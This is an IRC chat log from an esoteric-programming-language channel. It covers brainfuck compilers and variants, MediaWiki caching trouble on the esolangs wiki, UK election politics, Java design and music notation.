08:23:58 <Nistur> was never intending to enter)
08:25:12 <Nistur> I've got an (almost) complete compiler in 252B... it doesn't do input... adding non-blocking input back in would add 11B... blocking input would take... probably 20B more
08:26:32 <rdococ> btw: does the picofuck project allow nested loops, zzo38?
08:29:29 <HackEgo> [wiki] [[Khartridge]] M https://esolangs.org/w/index.php?diff=51773&oldid=51759 * Rdococ * (-6)
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08:54:51 <oerjan> Nistur: you might get more room for the bf program if you pack the commands into 3 bits
08:55:26 <Nistur> oerjan: yes... but then I'd have more space in the compiler as I'd have to decode it
08:55:31 <Nistur> I was considering that
08:56:34 <Nistur> I could probably do 4-bits quite easily... but then I couldn't just basically (in theory) burn some bf code to a chip
08:56:48 <oerjan> rdococ: you can definitely nest the picofuck commands.
08:57:22 <Nistur> https://github.com/nistur/8080bf/blob/master/src/bfc.asm <-- that's the compiler right now :)
08:58:58 <Nistur> https://github.com/nistur/8080bf/blob/master/src/hello2.asm <-- and I 'borrowed' some bf code from... I think from the esolangs wiki for that one... I don't actually have to assemble that, it just ends up as the bf with a $ on the end, padded to whatever I set MAXSIZE as... so I _could_ just use a plaintext file... but this way I get dynamic padding so *shrug*
08:59:31 <Nistur> also, I need to add attribution to the bf samples I've got there. I didn't actually mean to submit them -_- I don't like adding other people's work to my repositories
09:06:25 <rdococ> oerjan: I mean, is it treated like a while loop or like separate instructions?
09:07:40 <oerjan> rdococ: it depends what RBF commands it expands to
09:09:03 <rdococ> idk, too many tiny fucks
09:10:27 <oerjan> right, nanofuck { and } nest like brackets
09:11:07 <oerjan> i'm not sure that we have any other than pico- and nano-
09:11:42 <oerjan> well with SI prefixes. there are smallfuck and tinybf.
09:20:24 <rdococ> have a list of instructions, say RBF instructions
09:20:38 <Nistur> https://en.wikipedia.org/wiki/One_instruction_set_computer <-- if you can have a single instruction set CPU... surely you could just replicate that with a *fuck?
09:20:57 <rdococ> and have each occurrence of the single instruction execute one of them based on IP modulo :P
09:22:06 <Nistur> trying to figure out how it'd have to work... as you only have the one cell to work with
09:23:36 <rdococ> you can't turn an OISC into a OIfuck because OISCs often have parameters
09:24:47 <Nistur> if you could initialise the tape beforehand it could work
09:24:54 * rdococ especially likes the toga computer one
09:26:58 <oerjan> rdococ: for that ip modulo thing to work, you'd need to be able to _not_ put the instruction at some positions ... but then you really have two instructions.
09:27:18 <rdococ> oerjan, not if you enable comments
09:28:01 <rdococ> oerjan, the number of programs is countably infinite. just have one number for each program and use the one instruction that many times.
09:28:24 <fizzie> https://esolangs.org/wiki/Unary
09:28:52 <oerjan> rdococ: see the intro to https://esolangs.org/wiki/1L
09:29:16 <oerjan> rdococ: and then EOF is your other symbol hth
09:30:09 <rdococ> a language where eof is the only symbol
09:30:35 <oerjan> also, that modulo thing sounds like https://esolangs.org/wiki/Turning_tarpit
09:30:49 <rdococ> so more symbols than Unnecessary but fewer than Unary
09:31:31 <rdococ> I'm working on esoteric nonlangs at the moment
09:31:35 <rdococ> because esolangs are overrated :P
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09:36:34 <rdococ> does rapidly alternating sound to achieve chords work well with sine waves?
09:40:14 <Jafet> you mean FM synthesis?
09:46:41 <rdococ> I was wondering if I could use that in conjunction with the Fourier series to generate something reasonably close to any sound through one channel
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10:06:17 <rdococ> https://en.wikipedia.org/wiki/Arpeggio
10:33:10 <FireFly> https://www.reddit.com/r/AskComputerScience/comments/660rwn/help_with_understanding_esoteric_languages/ ← so this thread might be of interest to this channel
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11:25:03 <zzo38> OK, now I read that
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11:39:44 <HackEgo> monad//Monads are just monoids in the category of endofunctors.
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13:16:39 <ais523> me personally? not very much that's relevant
13:16:51 <ais523> other than voting Remain, I guess
13:17:07 <ais523> but I'm actually surprised this didn't happen earlier
13:17:45 <ais523> I was expecting it to happen before the Article 50 trigger, rather than afterwards
13:17:53 <ais523> (doing it afterwards rather makes a mockery of the stated timing for it)
13:19:14 <ais523> there are a lot of potential outcomes here, though (and the fact that the Conservatives have enough votes for it – they do, according to all media reports – implies that at least one of the parties is overestimating their chances for how the election will go)
13:20:30 <ais523> we're in a weird spot at the moment where the majority of political parties are much lower on credibility than they normally are
13:32:29 <ais523> b_jonas: it was a complete surprise, especially because the government said that the timing for article 50 was based on getting everything done before the next election
13:32:42 <ais523> having a snap general election kind-of tears the nation's attention in multiple directions at once
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13:34:41 <b_jonas> ais523: yes, that's a bit strange. you usually want new general elections only if the parliment is in a stalemate where they can't elect a proper government.
13:36:11 <alercah> It's a bit weird to have done it after, I agree, but it makes sense politically
13:36:31 <alercah> May never had an electoral mandate; this would give her one to implement Brexit as she wants
13:36:40 <alercah> And the opposition clearly think they can sink her
13:36:43 <ais523> well, in this case, we have an unelected prime minister with a very shaky majority (the Conservatives collectively only have a few votes above what they need to force through laws, but the individual Conservatives who hold those votes don't agree on everything, so a rebellion of a small number of MPs can defeat the government)
13:37:00 <alercah> I mean, the reason for doing it after Article 50 is very clear, it's to prevent the election from being a second referendum
13:37:06 <ais523> alercah: I've seen the theory that Labour MPs are agreeing to it to get rid of Corbyn
13:37:36 <alercah> on the basis that nobody can stop Brexit now that A50 has been triggered
13:37:52 <ais523> it's believed that in practice reversing Brexit would be fairly simple
13:38:09 <ais523> you could almost certainly get the EU to change their rules to allow it to be halted, if Britain had the desire to halt it
13:38:44 <ais523> and that is, if it isn't reversible at the moment (according to the person who wrote the text of A50, it was meant to be; the article itself doesn't state an opinion)
13:38:46 <b_jonas> alercah: our traidtion established by the three times it's happened is that it doesn't matter if the new minister-president doesn't have a "mandate" from an election, he gets the mandate from the parliment anyway, because in the elections you choose representatives to the parliment, not a government directly
13:39:06 <alercah> b_jonas: while that's true from a legal point of view, poitically it's very different
13:39:11 <ais523> b_jonas: that's the rule here as well
13:39:25 <alercah> it is far easier for a government to act when it has a fresh electoral mandate
13:39:37 <b_jonas> politically, for the parlimentary elections, the parties do campaign by stating what government they want and who they'll put as the prime minister, but that doesn't matter, because those parties also campaign by claiming a lot of other lies
13:39:37 <ais523> most Brits concede that Theresa May has a right to be PM – mostly because she was the only Conservative willing to do the job – but are mildly annoyed at how things worked out
13:39:54 <b_jonas> I don't know why a prime minsiter would be any different from other hollow election promises
13:40:11 <ais523> in the UK parties don't normally even promise a specific prime minister
13:40:20 <ais523> it's just normally obvious who it will be (the leader of the party in question)
13:40:50 <ais523> alercah: did you see the time when the SNP attempted to become the official opposition party? that was hilarious
13:40:54 <ais523> and I have to concede they had a point
13:41:20 <ais523> (basically, it was a time of huge front-bench Labour rebellion against Corbyn, and Sturgeon claimed she had more support than Corbyn did among MPs)
13:41:33 <b_jonas> alercah: "on the basis that nobody can stop Brexit now that A50 has been triggered" => I still don't buy this. the rule about article 50 is that Brexit is now the default if there's no strong agreement among the EU members and Britain in two years. They're still expected to do talks and agree on some saner method, which _probably_ involves a Brexit, but with lots of special rules, but could be a non-Brexit if politically advantageous.
13:44:03 <b_jonas> \ They're still expected to do talks and agree on some saner method, which _probably_ involves a Brexit, but with lots of special rules, but could be a non-Brexit if politically advantageous.
13:44:21 <ais523> alercah: the Speaker eventually decided that the rules didn't work like that, but he apparently took the request fairly seriously
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14:06:40 <moony> I decided to try making a golfing language, using as many unicode characters as possible (which opens up about 16k commands as a possibility)
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14:07:36 <ais523> moony: note that that's not a great way to score points on PPCG, they count programs in bytes (in any encodin the language supports)
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14:09:06 <moony> Yea, i know. Im taking stack overflow golf in mind (which often does counting in characters)
14:09:22 <b_jonas> moony: maybe look at http://esolangs.org/wiki/Sclipting
14:09:59 <b_jonas> (not that I endorse this, but if you want to make a golfing language, look at the precedents)
14:10:19 <ais523> moony: it only counts in characters if you have a 256-byte character set, at least nowadays
14:10:23 <ais523> err, 256-entry character set
14:12:03 <HackEgo> 250) <oklopol> quintopia: no i'm not laughing at you, i'm laughing because *you're stupid* <oklopol> i mean <oklopol> with you
14:25:37 <ais523> anyone know why https://esolangs.org/wiki/Category:2017 is missing a ton of entries logged out, but not while logged in?
14:28:23 <b_jonas> ais523: can reproduce, dunno
14:29:46 <fizzie> I'm guessing maybe some sort of a caching thing.
14:29:48 <Jafet> the logged-out version is cached from january
14:29:59 <Jafet> Cached time: 20170129015828
14:30:22 <Jafet> I don't know if this is supposed to clarify anything
14:31:04 <fizzie> I think we've had some problems with category page caching before.
14:31:12 <fizzie> Unfortunately I don't remember the details.
14:31:53 <fizzie> https://www.mediawiki.org/wiki/Manual:File_cache "Category and image description pages aren't purged from file cache. For example, adding or removing a page from a category doesn't update the category page, causing not logged in users to not see the changes in the category page. This is a known limitation. See task T26575"
14:32:02 <fizzie> Yeah, it was that thing.
14:32:20 <Jafet> moony: there's Sclipting
14:33:07 <fizzie> https://phabricator.wikimedia.org/T26575 open since 2010.
14:33:22 <b_jonas> Jafet: YES! that's what I said too
14:33:29 <Jafet> are you sure? maybe you're viewing a cached version
14:33:37 <int-e> does https://esolangs.org/wiki/Category:2017?action=purge work with sufficient privileges?
14:33:57 <int-e> (not a solution, obviously, but may reduce the embarrassment a bit)
14:34:44 <b_jonas> I'd say we should blame cloudfare
14:34:59 <fizzie> Even though we're not using it?
14:35:48 <fizzie> There's a maintenance PHP script I run when I upgrade versions which purges all cached stuff.
14:35:59 <ais523> int-e: I tried too, it doens't help
14:36:13 <fizzie> I last did this in Jan 28th, which is probably why the cached copy is from Jan 29th.
14:36:38 <ais523> and the 2017 category is the most obvious
14:36:48 <ais523> because the older year categories don't change much and the nonyear categories are too large
14:37:23 <fizzie> I could rerun rebuildFileCache.php every now and then, I guess.
14:37:43 <int-e> @slap Bowserinator
14:37:43 * lambdabot karate-chops Bowserinator into two equally sized halves
14:40:41 <Jafet> I wonder why mediawiki even maintains two cached versions
14:41:34 <b_jonas> oh, you mean one for logged in and one for logged out users?
14:41:39 <b_jonas> are you sure the former is cached?
14:42:01 <fizzie> There is no (FileCache) cache for logged-in users.
14:42:54 <fizzie> I wonder if I can just remove the cached .html files. Presumably.
14:42:58 <Jafet> “Cached time: 20170418133312”
14:43:30 <fizzie> That looks to have worked.
14:43:31 <b_jonas> sorry, luckily I'm a bit ignorant about the internals of mediawiki
14:43:57 <Jafet> also the “Cache expiry”, whose value is 86400, would seem to have not been implemented
14:44:36 <fizzie> Jafet: FileCache doesn't have expiration, no.
14:45:07 <Jafet> is the cache actually necessary?
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14:45:53 <fizzie> I don't know about "necessary", I haven't really touched the existing setup.
14:46:10 <fizzie> I do think most browsing happens non-logged-in, though, so presumably it's doing something.
14:46:44 <b_jonas> and mediawiki rendering is expensive
14:47:58 <int-e> I expect it'll help if the wiki is ever brought up on a popular reddit thread... which isn't impossible.
14:48:26 <int-e> (I almost wrote "slashdot"
14:48:54 <fizzie> Anyhow, the "Cached time:" for logged-in users probably has something to do with the memcached thing.
14:49:32 <fizzie> AIUI, $wgUseFileCache = true is pretty much separate from $wgMainCacheType = CACHE_MEMCACHED, both of which we do.
14:50:35 <fizzie> The former caches the full sent-to-browser HTML output on disk, and only applies to logged-out users.
14:51:24 <fizzie> The latter I believe is a more of an object cache.
14:51:30 <b_jonas> fizzie: and action=purged applies to the latter?
14:52:37 <fizzie> Well, I don't know. The file cache docs do mention action=purge, but it didn't seem to do anything.
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14:59:10 <HackEgo> [wiki] [[Trajedy]] https://esolangs.org/w/index.php?diff=51774&oldid=51291 * Ais523 * (+2) links to userpages must be marked (Esolang policy); if you want to change your username, let me know
15:00:35 <Jafet> (I'm fine with that edit)
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15:01:55 <ais523> what's the "sure" referring to?
15:03:15 <Jafet> the thing I added after it
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15:05:58 <Jafet> if you're doing maintenance, I suggest looking at the backlog of https://esolangs.org/wiki/Esolang_talk:Categorization
15:08:08 <ais523> it's not clear whether there is a backlog there, as it's not clear what the process is when someone makes a category proposal and then nothing happens
15:08:53 <ais523> if someone wanted to make the musical esolang category, I wouldn't stop them though
15:09:00 <ais523> it seems like there's enough consensus
15:10:15 <Jafet> perhaps the first backlog is the lack of a process
15:11:19 <ais523> this is a common problem in Esolang
15:11:32 <ais523> (the opposite issue is that when there /is/ a process, nobody wants to put in the effort to go through with it)
15:12:45 <Jafet> well, I suspect that people think there is a process proscribing them from just adding new cats
15:16:43 <ais523> the rule is that you don't create new categories without agreement; and this is a descriptive rule rather than a prescriptive rule (i.e. people who did it had a tendency to get banned, back when graue was in charge, so we added the rule to try to reduce the frequency with which that happened)
15:16:57 <ais523> I assume that if there /is/ agreement, therefore, you can add them
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15:34:09 <b_jonas> ais523: exactly, now nobody creates new categories because that note discourages them, and this too is descriptive, not prescriptive, that is, it's still allowed to create new categories
15:34:52 <ais523> that said, the number of categories we currently have is fairly large already
15:35:03 <ais523> so there being a bit of a higher bar to making them probably isn't that much of a big deal
15:35:36 <b_jonas> ais523: yeah. if I ever get around to create the articles in my TODO, then we'll have six articles related to IOCCC, so then I'll create an IOCCC category
15:36:03 <ais523> that might be better as a list than a category
15:36:03 <b_jonas> but categorization isn't that important on this small wiki anyway
15:36:12 <b_jonas> esolangs defy categorization by nature
15:36:23 <ais523> like, a See Also on an article about the IOCCC
15:37:24 <b_jonas> and "IOCCC" is easily searchable anyway, so we might not need a category
15:40:16 <b_jonas> ais523: when you weren't here, I mentioned that a lot of people on PPCG seem to have created all sorts of esolangs, of the more useful kind that can be used to write actual programs for golf challenges (not necessarily golf solutions, just solutions that can be written by a human and executed by an interpreter successfully),
15:40:43 <ais523> I'm not sure that golflangs even are esolangs
15:40:51 <b_jonas> and that some of those languages are probably interesting and would be worth an entry on esolang and we don't know about them because there's too few overlap between the two communities.
15:40:53 <ais523> although I think it's appropriate for esolangs.org to cover thejm
15:41:18 <ais523> TIO uses a split between "practical languages" and "recreational languages" (the latter category includes both golflangs and esolangs)
15:41:21 <b_jonas> ais523: they need not be golflangs. I'd count even something like brainfuck, because people try to golf in it, even when they know very well that the result will be longer than if they just wrote something in perl.
15:41:57 <ais523> well, I guess there's Brain-Flak (and maybe JSFuck) as massively verbose languages which people try to golf in
15:41:58 <b_jonas> ais523: I'm not specifically interested in the golflangs here, I'm just saying they're not very theoretical languages that can't even be implemented for theory reasons, or ones in which nobody will write programs
15:42:13 <ais523> well, right, PPCG care a lot about languages having interpreters
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15:42:23 <ais523> whereas on esolangs.org the specification is much more important
15:42:34 <ais523> on PPCG, a language doesn't even exist if the interpreter doesn't work (and can't legally be used even if you fix it)
15:43:23 <b_jonas> ais523: sure, and people don't submit entries if they can't write them
15:45:17 <b_jonas> ais523: so I was looking at Hello, World https://codegolf.stackexchange.com/questions/55422/hello-world , which is clearly a bad question to look at, because it has answers in languages nobody would use for almost any other task
15:45:43 <ais523> yep, it's a catalogue question, and those are frowned on at PPCG
15:45:51 <ais523> they want a few but creating new ones tends to get you shouted at
15:46:02 <b_jonas> and as usual on long SE threads, people answer it without reading existing answers, so it has actual fucking duplicates,
15:46:38 <b_jonas> but it has an interesting non-duplicate which surprised me, namely that there are two languages called Hodor that are apparently unrelated to each other
15:46:51 <b_jonas> (it does have real dups too, mind you)
15:47:00 <ais523> there's a JS program in the question that lists all the answers in alphabetical order by language
15:47:04 <ais523> that should make dupe checking fairly easy
15:47:44 <b_jonas> so anyway, that's the wrong question to look at. what I'd be more interested in is what languages there are that more than one people regularly use to write programs on PPCG, and that we don't know about
15:47:50 <b_jonas> because we should know about such languages
15:48:12 <b_jonas> some of them might turn out to be interesting (some might not of course, but I let's not bash Java now)
15:48:32 <ais523> Java is interesting IMO
15:48:41 <ais523> not sure it's well-designed, but its shortcomings are interesting to think about
15:49:38 <b_jonas> and Java is worth at least knowing about just for its cultural significance, just like BF is, no matter how good or bad or uninteresting languges they are
15:55:38 <HackEgo> [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51775&oldid=51751 * D2alphame * (+372) /* Introductions */
15:56:39 <Taneb> I should probably actually learn Java at some point
15:57:22 <Taneb> So I can say I dislike it with a clean conscience
15:58:49 <moony> i tried it. i disliked it. i tried haskell, i liked it, but it was too much math for me. i tried rust, i liked it, i stuck with it.
16:00:17 <b_jonas> I read about Java at one point. That was long ago, and Java has changed since. It seemed... bland to me. As in, it was a language that was made to be uncontroversial, taking the then known wisdom about interpreters and stuff, and building a language
16:00:31 <b_jonas> that has the things a language clearly should have, and avoiding most of the more experimental crazy stuff.
16:00:49 <b_jonas> It sort of seems like scheme in that respect, but a decade or two later.
16:05:05 <b_jonas> but I hear java has changed a bit since, though probably not as much as PHP
16:05:21 <ais523> Java's backwards compatibility is really something of an anchor on it at this point
16:05:55 <ais523> also, its standard library doesn't have much of a unified vision
16:06:08 <ais523> it acts like a collection of unrelated libraries from different vendors
16:09:56 <b_jonas> ais523: backwards compatbility => that's true to a lot of software, not just Java, and I think it's part of the uncontroversial wisdom. everyone knows that a programming language should be backwards compatible, so that you have to spend less time on fixing bitrot of old and well working libraries. that's why we still have Fortran compilers, even if we know the problems with fortran.
16:10:08 <HackEgo> [wiki] [[User:D2alphame]] N https://esolangs.org/w/index.php?oldid=51776 * D2alphame * (+282) Created page with "==D2alphame== Programmer, chess player, cuber, checkers player, mathematically-minded, Nigerian, analytical, Nihongo no gakusei. I love programming! See my [https://github.com..."
16:10:24 <b_jonas> "standard library doesn't have much of a unified vision" => don't all sufficiently old languages get that eventually?
16:10:58 <b_jonas> because of back compat, the library can only grow, not shrink, and it gets added parts that were only de facto standard because programs depend on half-ready extensions
16:11:11 <ais523> there are some changes which wouldn't make any negative difference to 99.9% of programs and yet would make any programs easier to write
16:12:15 <ais523> a simple example would be changing Object#getClass from a method on Object only that returns Class<?>, to a method on every class that returns Class<? extends that class>
16:12:26 <b_jonas> ais523: what effect would it have on those very few programs that it could change? proper error messages about incompatibility, or undebuggable random "segfaults"?
16:12:35 <ais523> this would make the type system accept some things that are obviously safe but don't currently correctly type
16:12:51 <ais523> and I don't think you'd even notice it unless you were really trying hard to contrive a situation where it matters
16:13:18 <ais523> I guess it could screw up overload resolution if you had some really specific overloads?
16:13:28 <ais523> not even sure on that though
16:13:28 <b_jonas> because undebuggable segfaults at remote parts of the program in very contreived cases is what stops some of the "improvements" that seem reasonable
16:13:36 <b_jonas> outside of Java-land that is
16:14:00 <ais523> Java never segfaults, barring buggy libraries and extensions
16:14:13 <b_jonas> ais523: yeah, I know, which is why I used quotes
16:14:13 <ais523> the equivalence is random ClassCastExceptions
16:14:18 <ais523> which tend to be much more debuggable
16:14:30 <b_jonas> ais523: anyway, could this be solved by adding a new method rather than changing getClass instead?
16:14:46 <ais523> you can't pick any possible name for it that doesn't potentially clash with some method that already exists
16:14:53 <ais523> Java's namespacing is fairly poor
16:15:37 <ais523> it's easy enough to write a static method to replicate the functionality, though (although doing so requires a cast that the compiler can't prove safe, it actually is safe, so you can just suppress the warning)
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17:35:53 <\oren\> Is there a polite way to say "I'm not moving to a potential war zone are you mental?!"
17:38:20 <b_jonas> \oren\: um, if I'm representative, I'm not sure this channel of nerds is good at helping you in diplomatic ways to phrase stuff in formal letters
17:39:31 <b_jonas> \oren\: but if I was asked to take up a job in Israel, and wanted to say that politely, I could refer to that I have an aged grandmother and other family who binds me to here and I don't want to get too far from them when they are in need, and I think you can say that even if it's not quite honest
17:39:52 <b_jonas> only I'm not sure how risky it is to say that if you do want to move to America for a job
17:42:23 <b_jonas> but ask someone who's better at not saying stupid things than me
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18:03:45 <hppavilion[1]> I'm reading sheet music, and I'm pretty sure this chord has an acúte accent
18:06:30 <hppavilion[1]> (not to be confused with a gràve, a dőuble acute, a dȍuble grave, a line̍ above, or a do̎uble line above)
18:06:50 <b_jonas> hppavilion[1]: don't they use such things as intonation marks with sometimes multiple meanings depending on who writes them?
18:07:11 <hppavilion[1]> (Or, if you're particularly dull, a diæ̈resis or a tidlė)
18:07:24 <hppavilion[1]> b_jonas: I really just need to know how to put it in Lilypond
18:10:06 <b_jonas> hppavilion[1]: as in https://en.wikipedia.org/wiki/Accent_(music)
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18:10:42 <hppavilion[1]> b_jonas: Yeah, but I can't find the one I'm seeing
18:12:18 <b_jonas> hppavilion[1]: do you know its meaning?
18:12:23 <hppavilion[1]> b_jonas: http://www.everyonepiano.com/pianomusic/005/0004121/0004121-w-b-1.png, measures 25 and 26 (go by the numbers above the first measure of each line) in the bass... stave?
18:13:31 <b_jonas> wait, I think that one is something different, not an articulation mark... though I don't recall what it is
18:13:42 <b_jonas> let me try to find what it is
18:14:36 <b_jonas> I seem to remember I've seen something like that
18:16:22 <b_jonas> hpp: can it be this notation: https://en.wikipedia.org/wiki/Tremolo
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18:17:06 <b_jonas> though I think that's always two or more beams, so it might not match
18:17:19 <b_jonas> hmm no, apparently it can be one beam
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18:42:11 <\oren\> Oh hey, the facebook killer shot himself
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18:47:34 <shachaf> Aha: https://www.mercurial-scm.org/wiki/4.0sprint
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18:57:20 <\oren\> TESLA FREIGHT TRUCK YAS
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19:05:08 <hppavilion[1]> Because Mary Shelley was inspired to write The Modern Prometheus after hearing her husband speak to Lord Byron about Galvanism
19:06:13 <hppavilion[1]> Lord Byron being another famous author (writing exempli gratia Don Juan and Epitaph to a Dog) who was ALSO the father of Ada Lovelace
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19:15:08 <Taneb> hppavilion[1], a lot of people became famous because of their connections
19:15:12 <Taneb> And the Bryons were rich
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19:26:42 <moony> `relcome MiningMarsh
19:26:45 <HackEgo> MiningMarsh: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
19:26:48 <moony> (have you been here before?)
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19:38:58 <b_jonas> so... I'm clearly stupid for not having noticed this before, but apparently sometime between windows 7 and now, MS has fixed these stupid ribbon bars so that the tooltip of buttons on them now do show the shortcut key for the command
19:39:32 <b_jonas> the old behavior of not showing the shortcut key anywhere was so stupid, it meant only old people like me could navigate programs, because we could guess what the shortcuts are from the time when they showed up in pulldown menus
19:40:05 <b_jonas> and even I often couldn't guess
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20:22:28 <HackEgo> [wiki] [[Jot]] https://esolangs.org/w/index.php?diff=51777&oldid=47168 * Hppavilion1 * (+58) Pronunciation
20:23:00 <fizzie> "Ladies and gentlemen, a good service is operating on all London Underground lines. All other lines are operating a good service."
20:23:00 <shachaf> Did you remove the e from "Goedel" on purpose?
20:23:10 <shachaf> I don't think this "presumably" is really the right tone for this wiki.
20:23:22 <shachaf> Maybe if you want to have a conversation about it you can do it in the talk page.
20:25:00 <shachaf> hppavilion[1]: The above is for you.
20:26:33 <fizzie> shachaf: I wasn't sure if it was amusing enough for the right channel, and the bar's lower here.
20:27:02 <hppavilion[1]> shachaf: I added a diæresis, but it was combining, so if your font sucks it might not render
20:27:04 <shachaf> It's more on-topic than the current conversation in that channel.
20:27:44 <HackEgo> [wiki] [[Jot]] M https://esolangs.org/w/index.php?diff=51778&oldid=51777 * Hppavilion1 * (+1) Fixed diacritic. Happy, shachaf?
20:27:54 <shachaf> No, I was doing my best to keep my name off that wiki.
20:28:04 <shachaf> And now it's there and won't ever go away.
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20:29:20 <shachaf> Also you should get rid of or fix that pronunciation parenthetical.
20:30:03 <shachaf> I suspect your pronunciation is just wrong, too, but I don't know.
20:32:09 <HackEgo> [wiki] [[Jot]] https://esolangs.org/w/index.php?diff=51779&oldid=51778 * Hppavilion1 * (-25) Dropped 'presumably', added other possible pronunciation at Voldemort's behest.
20:33:23 <shachaf> I think you should remove the whole thing. Why are you an authority on how to pronounce this name?
20:33:31 <shachaf> I would pronounce it like the English word "jot".
20:40:53 * rdococ 's favourite pronunciation is /jot/
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20:46:07 <\oren\> shachaf: wait why wouldn't you want 'shachaf' to be on the wiki? i mean, the wiki links to the logs for this channel which obviously contain <shachaf> over and over for literally years
20:46:25 <shachaf> But that's not in the wiki.
20:46:42 <rdococ> why does it matter anyway?
20:46:55 <rdococ> it's not like your mention in the wiki is going to jump out and kill you
20:46:58 <shachaf> \oren\: did you fix your build system yet twh
20:47:53 <ais523> shachaf: I can do a history delete on the wiki if necessary
20:48:38 <ais523> but I've never had the opportunity to do this before
20:48:44 <HackEgo> [wiki] [[Special:Log/delete]] revision * Ais523 * Ais523 changed visibility of a revision on page [[Jot]]: edit summary hidden: Inappropriate comment or personal information
20:49:09 <ais523> there, I hid the edit summary
20:49:25 <shachaf> Oh man, I was going to say it isn't necessary.
20:49:42 <shachaf> Now the fact that I've made you go to the trouble of doing it means I'll be even less likely to sign up for the wiki in the future.
20:49:47 <shachaf> In order to reduce cognitive dissonance.
20:49:54 <int-e> ais523: now just wait for the cache to expire...
20:50:06 <shachaf> I still see the edit in https://esolangs.org/w/index.php?title=Jot&action=history
20:50:10 <shachaf> I guess it's just a cache?
20:50:22 * rdococ facepalms extremely hard
20:50:24 <int-e> shachaf: yes, I only see it when not logged in
20:50:36 <ais523> you could sign up under a pseudonym
20:50:51 <ais523> I'm lagging again, aren't I?
20:51:22 <ais523> I'm lagging again, aren't I?
20:51:36 <shachaf> 12:50 <ais523> I'm lagging again, aren't I?
20:51:36 <shachaf> 12:51 <ais523> I'm lagging again, aren't I?
20:51:48 <ais523> [CTCP] Received CTCP-PING reply from ais523: 62 seconds.
20:51:49 <shachaf> I didn't answer your question because I don't know how to answer.
20:52:06 <rdococ> * Ping reply from ais523: 0.703 second(s)
20:52:45 <ais523> shachaf: it's OK, I mostly only asked the question for its side effects and was planning to discard the return value
20:53:27 <\oren\> oh wait shachaf means something right...
20:53:57 <shachaf> In elementary school people would distort my name as "fachash".
20:54:32 <shachaf> Can you just stop it, rdococ?
20:54:45 <rdococ> you're right. I'm worthless here.
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20:55:00 <\oren\> shachaf: ok what about "PkMnWingull87" noone will suspect a thing
20:55:31 <shachaf> `` echo PkMnWingull87 | base64 -d 2>/dev/null
20:55:44 <ais523> now I'm wondering if the PK and MN digraphs are in Unicode
20:56:04 <ais523> if they aren't, how are we going to convert files stored in Pokémon's internal text file format for archival?
20:56:05 <\oren\> I should totally add those to my font
20:56:17 <zzo38> Easy; don't use Unicode.
20:56:23 <\oren\> ais523: I'll message the Unicode mailing list
20:56:28 <myname> oren should totally propose those
20:56:39 <ais523> we should make sure they aren't there first
20:56:41 <ais523> stranger things have happened
20:56:42 <zzo38> (Alternatively, use private use codes. Or, better, don't use Unicode, but provide a mapping to Unicode with \oren\'s font!)
20:56:49 <int-e> Huh, I didn't know that Phil Katz died in 2000
20:57:01 <ais523> this sort of reasoning is basically how emoji ended up in Unicode, after all
20:57:59 <\oren\> myname: I'll write an email later once I've taken a full enventory of the characters needed
20:58:28 <zzo38> I could add such digraphs into the UTCE document though I suppose. (It also includes a partial Unicode mapping, but only for characters that actually exist in Unicode.)
20:58:38 <HackEgo> An inventory is a collection of inventions.
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21:02:57 <\oren\> iirc, the ones that aren't in unicode include Pk, Mn, Po, Ke, the P with two strokes used for the games' currency,
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21:25:16 <rdococ> well, I'll be busy creating more stupid crap.
21:25:30 <rdococ> what kind of stupid crap do people want me to create tonight?
21:28:11 <ais523> write a language which is easy to disguise as something else
21:28:18 <ais523> my experience on PPCG is that we can /always/ do with more of those
21:28:25 <ais523> assuming they're implemented
21:28:27 <ais523> even if they're fairly stupid
21:28:42 <ais523> (we've been resorting to plumbing the depths of BF derivatives on occasion…)
21:31:03 <Jafet> fortunately they're in no short supply
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21:34:54 <int-e> . o O ( Universal brainfuck reads the first 8 characters of a program, which it interprets as [>+,.-<] in that order. The remainder of the program is interpreted as a brainfuck program using that encoding. Any valid brainfuck program can be turned into a valid universal brainfuck program by prepending [>+,.-<] though that transformation will not preserve quines. )
21:35:30 <zzo38> So that I can know for in future, is there a command in vim to exchange a character with the next one?
21:35:45 <int-e> something like this should be useful for all those challenges that constrain the usable chracter set. You can apply a similar idea to some two symbol language, I'm sure.
21:35:46 <shachaf> zzo38: People say to use xp
21:35:54 <shachaf> zzo38: But that will overwrite your deletion buffer thing.
21:36:26 <Jafet> lots of existing programs are laid out as some kind of ascii art, someone should define a semantics for those
21:36:38 <ais523> Jafet: you won't believe how long it took us to find an Alphuck interpreter that worked well enough to be usable, and even then it probably didn't implement the spec correctly
21:36:50 <ais523> and Alphuck is one of the most derivative BF derivatives I've ever seen
21:37:54 <Jafet> couldn't you “find” one in about five minutes?
21:39:55 <zzo38> shachaf: Yes, that works; I did not think of that. Although you are also correct it also will overwrite the deletion buffer
21:40:04 <ais523> Jafet: nah, it turns out that most BF derivatives don't actually work
21:40:52 <int-e> I suspect many golfed brainfuck interpreters exploit the actual character codes in some way. For example +/- can be implemented using data[p] += 44-c, where c is the character read.
21:41:24 <zzo38> Yes, there are stuff you can do like that, by taking advantage of the ASCII codes
21:42:13 <int-e> so just taking any brainfuck implementation and adapting it may be harder than you think.
21:42:39 <int-e> otoh, there's some reference implementations... the bfgolf series had one if I recall correctly.
21:42:49 <ais523> and many BF derivatives mess up things like comments
21:43:00 <ais523> it's surprising how many BF derivatives add an explicit comment symbol
21:43:42 <zzo38> Also some implementation use ! to separate the program from input, but I think ] could be used for that purpose, for compatibility with programs that use ! for comments.
21:47:20 <int-e> putting ] right after the program (read from a file) was one of my favorite brainfuck interpreter golfing tricks.
21:51:04 <rdococ> I haven't created a BF derivative. does that make me slightly less crap in your eyes?
21:54:08 <ais523> that's two less than me!
21:54:29 <ais523> really, putting in the effort to do something interesting is all that really matters, even if you don't succeed
21:54:42 <ais523> because there are so many potential ideas out there that we need lots of people to help find them
21:57:37 <rdococ> I bet someone's thought of using generalized continued fractions to represent real numbers in memory before
21:58:03 <rdococ> of course, I picked continued fractions over general infinite series because they're easier to apply algebra to
21:58:27 <ais523> computable reals normally use some sort of hyperbinary
21:58:35 <ais523> continued fractions is an interesting alternative
21:58:45 <ais523> rdococ: it's like binary but 2 is a legal digit too
21:58:56 <ais523> (you can also do it with -1, that's more common when doing computable reals)
21:59:04 <rdococ> wouldn't they be redundant though?
21:59:15 <rdococ> I mean, surely "0.2" in binary is just "1"
21:59:29 <rdococ> because it's two halves
22:00:14 <rdococ> it's the same kind of binary as that chance of binary question
